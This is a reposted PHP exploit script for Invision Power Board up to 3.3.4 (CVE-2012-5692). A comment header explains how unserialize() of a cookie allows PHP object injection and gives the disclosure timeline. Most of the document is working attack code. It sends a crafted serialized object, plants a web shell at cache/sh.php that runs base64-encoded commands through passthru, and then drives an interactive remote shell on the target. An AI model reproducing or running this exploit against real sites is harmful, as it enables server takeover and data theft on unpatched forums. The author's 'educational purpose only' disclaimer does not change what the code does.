[转] Invision Power Board "unserialize()" PHP Code Execution

<?php

 

/*

    ----------------------------------------------------------------

    Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution

    ----------------------------------------------------------------

     

    author..............: Egidio Romano aka EgiX

    mail................: n0b0d13s[at]gmail[dot]com

    software link.......: [url]http://www.invisionpower.com/[/url]

     

    +-------------------------------------------------------------------------+

    | This proof of concept code was written for educational purpose only.    |

    | Use it at your own risk. Author will be not responsible for any damage. |

    +-------------------------------------------------------------------------+

     

    [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php

     

    4015.        static public function get($name)

    4016.        {

    4017.            // Check internal data first

    4018.            if ( isset( self::$_cookiesSet[ $name ] ) )

    4019.            {

    4020.                return self::$_cookiesSet[ $name ];

    4021.            }

    4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )

    4023.            {

    4024.                $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

    4025.   

    4026.                if ( substr( $_value, 0, 2 ) == 'a:' )

    4027.                {

    4028.                    return unserialize( stripslashes( urldecode( $_value ) ) );

    4029.                }

     

    The vulnerability is caused due to this method unserialize user input passed through cookies without a proper

    sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts

    with 'a:',  but this is not  sufficient to prevent a  "PHP Object Injection"  because an attacker may send  a

    serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code

    via the  "__destruct()" method of the  "dbMain" class,  which calls the "writeDebugLog" method to write debug

    info into a file.  PHP code may  be injected  only through the  $_SERVER['QUERY_STRING']  variable,  for this

    reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

 

    [-] Disclosure timeline:

     

    [21/10/2012] - Vulnerability discovered

    [23/10/2012] - Vendor notified

    [25/10/2012] - Patch released: [url]http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update[/url]

    [25/10/2012] - CVE number requested

    [29/10/2012] - Assigned CVE-2012-5692

    [31/10/2012] - Public disclosure

 

*/

 

error_reporting(0);

set_time_limit(0);

ini_set('default_socket_timeout', 5);

 

function http_send($host, $packet)

{

    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");

    fputs($sock, $packet);

    return stream_get_contents($sock);

}

 

print "\n+---------------------------------------------------------------------+";

print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";

print "\n+---------------------------------------------------------------------+\n";

 

if ($argc < 3)

{

    print "\nUsage......: php $argv[0] <host> <path>\n";

    print "\nExample....: php $argv[0] localhost /";

    print "\nExample....: php $argv[0] localhost /ipb/\n";

    die();

}

 

list($host, $path) = array($argv[1], $argv[2]);

 

$packet  = "GET {$path}index.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";

     

$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ?  $m[1] : '';

 

class db_driver_mysql

{

    public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');

}

 

$payload = urlencode(serialize(array(new db_driver_mysql)));

$phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';

 

$packet  = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";

$packet .= "Connection: close\r\n\r\n";

 

http_send($host, $packet);

 

$packet  = "GET {$path}cache/sh.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

 

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

 

while(1)

{

    print "\nipb-shell# ";

    if (($cmd = trim(fgets(STDIN))) == "exit") break;

    $response = http_send($host, sprintf($packet, base64_encode($cmd)));

    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}